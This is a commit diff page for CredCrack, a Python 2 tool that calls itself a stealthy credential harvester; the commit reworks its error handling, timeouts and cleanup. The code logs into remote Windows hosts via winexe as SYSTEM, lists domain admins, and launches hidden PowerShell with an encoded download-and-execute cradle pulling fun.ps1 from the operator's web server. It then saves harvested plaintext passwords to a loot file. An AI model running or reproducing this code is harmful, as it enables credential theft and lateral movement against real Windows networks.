Skip to content

Commit b34a967

Browse files
committed
improved performance, stability, error handling and more
- Improved error handling in both the get_das function and harvest functions. The functions now provide more information that can be useful for debugging. The get_das function now properly stops the script if bad credentials were entered - Other modifications include changes to the way domain admins are obtained, filtering for bad shares under the enum_shares function, specifying python2 and more. - Version 1.1 has been tested and works on Server 2012
1 parent b4d8e2c commit b34a967

File tree

1 file changed

+35
-35
lines changed

1 file changed

+35
-35
lines changed

credcrack.py

Lines changed: 35 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#!/usr/bin/python
1+
#!/usr/bin/env python2
22

33
# CredCrack - A fast and stealthy credential harvester
44
# This script harvests credentials for any given IP(s) and
@@ -22,8 +22,8 @@
2222
# Author: Jonathan Broche
2323
# Email: jb@gojhonny.com
2424
# Twitter: @g0jhonny
25-
# Version: 1.0
26-
# Date: 2015-08-13
25+
# Version: 1.1
26+
# Date: 2015-08-26
2727

2828
import subprocess, os, argparse, time, datetime, socket, base64, threading, Queue, hashlib, binascii, signal, sys, getpass
2929
from shlex import split
@@ -137,11 +137,11 @@ def enum_shares(q, username, password, domain):
137137
if 'os=' in share.lower():
138138
os = share.split(']')[1][5:] #operating system
139139
else:
140-
if "Connection to" in share or "NetBIOS" in share or "None" in share or "------" in share: #filter bad lines
140+
if any(badline in share for badline in ["Connection to", "NetBIOS", "None", "------"]): #filter bad lines
141141
pass
142142
else:
143143
for item in share.split(' '):
144-
if 'Printer' not in item or 'IPC' not in item and '' not in item: #no printer or ipc shares
144+
if any(badshare in share for badshare in ["Printer", "IPC", ""]): #filter printer & ipc shares
145145
if 'Disk' in item:
146146
es = ' '.join(share.split(' ')[:share.split(' ').index(item)]).strip()
147147
if es not in shares:
@@ -177,23 +177,27 @@ def get_das(rhost, username, password, domain):
177177
try:
178178
print "{}[*]{} Querying domain admin group from {}".format(colors.blue, colors.normal, rhost.rstrip())
179179
process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)), stderr=subprocess.PIPE, stdout=subprocess.PIPE)
180-
da_output = process.stdout.read()
180+
output = process.stdout.read()
181181
error = process.stderr.read()
182182

183-
if error and "NT_STATUS_LOGON_FAILURE" in error:
184-
return "NT_STATUS_LOGON_FAILURE"
183+
if any(err in error for err in ["NT_STATUS_LOGON_FAILURE", "NT_STATUS_ACCOUNT_LOCKED_OUT"]):
184+
raise LoginFailure(error.strip())
185185
else:
186-
for line in da_output.split('\n')[8:]:
187-
if "The command completed" in line:
188-
pass
189-
else:
190-
for da in line.strip().split():
191-
if da:
192-
das.append(da)
193-
return das
186+
da_output = output.replace("The command completed successfully.","").split()[output.split().index("Members")+2:]
187+
if da_output:
188+
for da in da_output:
189+
if da:
190+
das.append(da.strip())
191+
return das
194192

193+
except LoginFailure as e:
194+
print "{}[!]{} {}".format(colors.red, colors.normal, e)
195+
sys.exit(os.EX_OSERR)
195196
except Exception as e:
196-
print "{}[!]{} Unable to reach to {}".format(colors.red, colors.normal, rhost)
197+
if "'Members' is not in list" in e:
198+
print "{}[!]{} User is not an admin on {} or the system is not joined to a domain".format(colors.red, colors.normal, rhost)
199+
else:
200+
print "{}[!]{} Failed to obtain domain admin list from {}: {}".format(colors.red, colors.normal, rhost, e)
197201
return False
198202

199203
#----------------------------------------#
@@ -213,9 +217,11 @@ def harvest(q, username, password, domain, lhost):
213217
print "{}[*]{} Harvesting credentials from {}".format(colors.blue, colors.normal, rhost)
214218
harvested_hosts.append(rhost)
215219
encoded_cmd = base64.b64encode("IEX (New-Object Net.WebClient).DownloadString('http://{}/fun.ps1')".format(lhost).encode('utf_16_le'))
216-
process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -Version 2 -w hidden -Exec Bypass -noni -nop -enc {}'".format(rhost, domain, username, password, encoded_cmd)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
220+
process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -w hidden -Exec Bypass -noni -nop -enc {}'".format(rhost, domain, username, password, encoded_cmd)), stderr=subprocess.PIPE, stdout=subprocess.PIPE)
221+
error = process.stderr.read()
222+
if error and "NT_STATUS_ACCESS_DENIED" in error: raise Exception("NT_STATUS_ACCESS_DENIED")
217223

218-
timeout = 15
224+
timeout = 20
219225
while timeout > 0:
220226
status = process.poll()
221227
if status is None:
@@ -229,11 +235,11 @@ def harvest(q, username, password, domain, lhost):
229235
process.terminate()
230236
q.task_done()
231237

232-
except subprocess.CalledProcessError as e:
233-
print "{}[!]{} Error harvesting credentials from {}".format(colors.red, colors.normal, rhost)
234-
q.task_done()
235238
except OSError:
236-
pass
239+
pass
240+
except Exception as e:
241+
print "{}[!]{} Error harvesting credentials from {}: {}".format(colors.red, colors.normal, rhost, e)
242+
q.task_done()
237243

238244
#----------------------------------------#
239245
# PARSE LOOT #
@@ -281,7 +287,7 @@ def output(credentials, das):
281287
with open ('/tmp/CCloot/l00t', 'w') as f:
282288
f.write("\n " + "-" * 69 + "\n " + " CredCrack Loot \n " + "-" * 69 + "\n\n")
283289
for cred in credentials:
284-
if cred[2] in das:
290+
if cred[2] in das and cred[2] != "Administrator":
285291
#d = domain, #u = username, #p = password
286292
print "{y}[*] Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(y=colors.yellow, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal)
287293
f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p} {y}-- Domain Admin{n}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3], y=colors.yellow, n=colors.normal))
@@ -303,7 +309,7 @@ def output(credentials, das):
303309
#----------------------------------------#
304310

305311
def clean_up(flag, stime):
306-
print "{}[*]{} Cleaning up".format(colors.blue, colors.normal)
312+
print "\n{}[*]{} Cleaning up".format(colors.blue, colors.normal)
307313
try:
308314
if flag: #script completed successfully
309315
os.remove(os.path.join('/var/www', 'creds.php'))
@@ -324,6 +330,8 @@ def clean_up(flag, stime):
324330
subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
325331
if os.path.exists('/tmp/CCloot'):
326332
rmtree('/tmp/CCloot')
333+
if os.path.exists('/var/www/fun.ps1'): os.remove('/var/www/fun.ps1')
334+
if os.path.exists('/var/www/creds.php'): os.remove('/var/www/creds.php')
327335
except Exception as e:
328336
print "{}[!]{} Error cleaning up. {}".format(colors.red, colors.normal, e)
329337

@@ -380,17 +388,13 @@ def main():
380388
if args.rhost:
381389
if validate(args.rhost):
382390
das = get_das(args.rhost, args.user, args.passwd, args.domain)
383-
if "NT_STATUS_LOGON_FAILURE" in das:
384-
raise LoginFailure(args.rhost)
385391
q.put(args.rhost)
386392
if args.file:
387393
with open (args.file) as f:
388394
lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]
389395
for line in lines:
390396
das = get_das(line, args.user, args.passwd, args.domain)
391-
if "NT_STATUS_LOGON_FAILURE" in das:
392-
raise LoginFailure(line)
393-
elif not das: #put the host on a bad list
397+
if not das: #put the host on a bad list
394398
badhost.append(lines[lines.index(line)])
395399
else: #we got our domain admin list
396400
if badhost: #if badhosts, filter before queue
@@ -417,14 +421,10 @@ def main():
417421
print "{}[!]{} Provide the IP address of the local host [-l]\n".format(colors.red, colors.normal)
418422

419423
except (KeyboardInterrupt, SystemExit):
420-
print "\n{}[!]{} Ctrl-C detected...shutting down".format(colors.yellow, colors.normal)
424+
print "\n{}[!]{} Terminating script".format(colors.yellow, colors.normal)
421425
clean_up(False, stime)
422426
except IOError:
423427
print "{}[!]{} File: {} does not exist.".format(colors.red, colors.normal, args.file)
424428
clean_up(False, stime)
425-
except LoginFailure as e:
426-
print "{}[!]{} Login Failure on {}, ensure you have entered the correct credentials\n".format(colors.red, colors.normal, e)
427-
clean_up(False, stime)
428-
429429
if __name__ == '__main__':
430430
main()

0 commit comments

Comments
 (0)